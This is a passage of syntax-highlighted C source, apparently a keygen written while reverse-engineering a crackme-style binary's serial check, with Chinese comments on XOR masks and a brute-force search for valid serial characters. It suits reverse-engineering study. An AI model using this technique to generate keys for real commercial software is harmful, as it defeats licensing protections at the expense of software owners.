<span class="cm"> 0000 0000 D000 0000 C000 0000 BA00 0000 DH >> 7</span>
<span class="cm"> 0000 0000 D000 0000 0000 000C BA00 0000 DX << 7</span>
<span class="cm"> 0000 0000 D000 0000 CBA0 0000 0000 0000 EDX >> 8</span>
<span class="cm"> 0000 0000 0000 0000 D000 0000 CBA0 0000 DH >> 7</span>
<span class="cm"> 0000 0000 0000 0000 0000 000D CBA0 0000 DX >> 5</span>
<span class="cm"> 0000 0000 0000 0000 0000 0000 0000 DCBA</span>
<span class="cm"> */</span>
<span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x80000000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_d</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">31</span><span class="p">;</span>
<span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00800000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_c</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">23</span><span class="p">;</span>
<span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00008000</span><span class="p">;</span>
<span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_b</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">15</span><span class="p">;</span>
<span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x00000080</span><span class="p">;</span>
<span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_a</span><span class="w"> </span><span class="o">>></span><span class="w"> </span><span class="mi">7</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_DL_L4_0_3</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_DL_L4_0_3</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">_d</span><span class="o">*</span><span class="mi">8</span><span class="o">+</span><span class="n">_c</span><span class="o">*</span><span class="mi">4</span><span class="o">+</span><span class="n">_b</span><span class="o">*</span><span class="mi">2</span><span class="o">+</span><span class="n">_a</span><span class="p">);</span>
<span class="w"> </span><span class="n">hex_string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">2</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_DL_L4_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">_ui</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] edi: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">edi</span><span class="p">);</span>
<span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">esi</span><span class="p">;</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edi</span><span class="p">;</span>
<span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">edx</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0xFF</span><span class="p">;</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_tmp_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] edx: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">edx</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">eax</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">3</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">3</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">_tmp_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_rotl</span><span class="p">(</span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">edx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_rotr</span><span class="p">(</span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">8</span><span class="p">;</span>
<span class="w"> </span><span class="n">_tmp_val</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_rotl</span><span class="p">(</span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">edx</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_rotr</span><span class="p">(</span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] eax: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] ebx: 0x%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="n">loop_counter</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] after loop, eax: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] after loop, ebx: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 下面是函数cycle.401190</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0xFF01</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 这里需要对一个内存(0x402182)的值进行一个加法运算</span>
<span class="w"> </span><span class="c1">// 我暂时还不清楚这个内存的值是否固定,因此先留一个TODO,经调试,这里的初始值应该是98BADCFE</span>
<span class="w"> </span><span class="c1">// 转换成整型数就是FEDCBA98</span>
<span class="w"> </span><span class="c1">// 该函数并不是简单地循环,是一个递归函数,因此需要单独定义</span>
<span class="w"> </span><span class="n">ecx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_401190</span><span class="p">(</span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] ecx: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ecx</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">ecx</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main_call</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">_TODO_counter</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0xFEDCBA98</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">user_name</span><span class="p">[</span><span class="mi">16</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] give me a max-16-len string, 'q' to exit:</span><span class="se">\n\t</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">"%16s"</span><span class="p">,</span><span class="w"> </span><span class="n">user_name</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">user_name</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="mi">1</span><span class="o">==</span><span class="n">strlen</span><span class="p">(</span><span class="n">user_name</span><span class="p">)</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="sc">'q'</span><span class="o">==</span><span class="n">user_name</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="sc">'q'</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 将用户名扩充至16位</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">user_name_length</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">user_name</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] user name length: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">user_name_length</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">extend_user_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">16</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="n">user_name</span><span class="p">);</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="mi">16</span><span class="o">-</span><span class="n">user_name_length</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">user_name</span><span class="p">[</span><span class="n">i</span><span class="o">%</span><span class="n">user_name_length</span><span class="p">]);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] user name after extended: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">extend_user_name</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 对于掩码0x7F3F1F0F</span>
<span class="w"> </span><span class="c1">// 0x7F和username[3]进行异或运算</span>
<span class="w"> </span><span class="c1">// 如果username[3]的1和3bit置位,那么serial[3]的1和3bit一定会复位</span>
<span class="w"> </span><span class="c1">// 则serial[3]一定会小于0x30,这样就无法通过字符范围的检测了[0x30, 0x7E]</span>
<span class="c1">// if(180 <= extend_user_name[3]) {</span>
<span class="c1">// printf("[-] after xor with mask(0x7F), the value would less than 0x30, \n\tusername[3]'s ascii value should not be greater than 0x50\n");</span>
<span class="c1">// continue;</span>
<span class="c1">// }</span>
<span class="w"> </span><span class="c1">// 首先获取到注册码的前4位</span>
<span class="w"> </span><span class="c1">// __n_0_3 ^ __s_0_3 == 0x7F3F1F0F</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_n_0_3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_n_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">[</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_hex_xor_res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">j</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">l</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="mi">8</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">j</span><span class="o"><</span><span class="mi">4</span><span class="p">;</span><span class="w"> </span><span class="n">j</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">k</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">k</span><span class="o"><</span><span class="mi">2</span><span class="p">;</span><span class="w"> </span><span class="n">k</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">l</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">l</span><span class="o"><</span><span class="mi">2</span><span class="p">;</span><span class="w"> </span><span class="n">l</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">memset</span><span class="p">(</span><span class="n">_s_0_3</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">_s_0_3</span><span class="p">));</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_tmp_char</span><span class="p">[</span><span class="mi">2</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">hex_string</span><span class="p">[</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_char</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="mi">4</span><span class="o">*</span><span class="n">l</span><span class="o">+</span><span class="mi">3</span><span class="p">)</span><span class="o">*</span><span class="mi">16</span><span class="o">+</span><span class="mh">0x0F</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_char</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_char</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="mi">4</span><span class="o">*</span><span class="n">k</span><span class="o">+</span><span class="mi">3</span><span class="p">)</span><span class="o">*</span><span class="mi">16</span><span class="o">+</span><span class="mh">0x0F</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_char</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_char</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="mi">2</span><span class="o">*</span><span class="n">j</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">16</span><span class="o">+</span><span class="mh">0x0F</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_char</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_char</span><span class="p">,</span><span class="w"> </span><span class="s">"%02X"</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="o">*</span><span class="mi">16</span><span class="o">+</span><span class="mh">0x0F</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_char</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"hex_string = %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// _hex_xor_res = 0x0F0F0F0F;</span>
<span class="w"> </span><span class="n">_hex_xor_res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">_ui</span><span class="p">)</span><span class="n">strtoul</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="mi">16</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"hex_xor_res = 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_hex_xor_res</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"_n_0_3----%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_n_0_3</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_hex_xor_res</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">hex_to_string</span><span class="p">(</span><span class="n">_n_0_3</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_hex_xor_res</span><span class="p">,</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"_s_0_3----%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">__GOTO_ONCE</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nl">__GOTO_ONCE</span><span class="p">:</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 为了通过注册码长度检测,这里先给序列号填充为16位,其实后八位暂时是用不着的</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_s_8_15</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"89abcdef"</span><span class="p">;</span>
<span class="w"> </span><span class="c1">// 由于掩码0x07030100最后会和EBX进行与运算</span>
<span class="w"> </span><span class="c1">// 所以最后EBX的四个字节,从高到低依次拥有3、2、1、0个有效bit位</span>
<span class="w"> </span><span class="c1">// 也就是说,无论_n_4_7和_s_4_7是什么样的,EBX只有2^(3+2+1+0)=64种可能的值</span>
<span class="w"> </span><span class="c1">// 下面这个组合可以覆盖到所有的可能性</span>
<span class="w"> </span><span class="c1">// 这样一来,我们就可以获取到注册码的4~7位了</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_s_4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"@ABCDEFG"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_s_5</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"@ABC"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_s_6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"@A"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">_s_7</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"A"</span><span class="p">;</span>
<span class="w"> </span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">i</span><span class="o"><</span><span class="mi">8</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">j</span><span class="o"><</span><span class="mi">4</span><span class="p">;</span><span class="n">j</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">k</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">k</span><span class="o"><</span><span class="mi">2</span><span class="p">;</span><span class="w"> </span><span class="n">k</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">hex_string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">16</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_s_4_7</span><span class="p">[</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_4</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">_s_4_7</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_5</span><span class="p">[</span><span class="n">j</span><span class="p">]);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_4_7</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_6</span><span class="p">[</span><span class="n">k</span><span class="p">]);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_4_7</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_7</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_4_7</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_s_4_7</span><span class="p">);</span>
